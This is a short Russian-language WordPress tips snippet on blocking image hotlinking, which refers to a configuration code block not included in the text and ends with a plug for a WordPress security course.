
Отключите хотлинк картинок

Чтобы картинки с вашего сайта, которые находятся на вашем сервере, не использовались на других сайтах, добавьте этот код:

Замените ваш-сайт в строке 6 на ваш домен.

Все эти настройки и несколько других вы можете применить автоматически в Безопасности Вордпресс за 2 вечера.

Читайте также: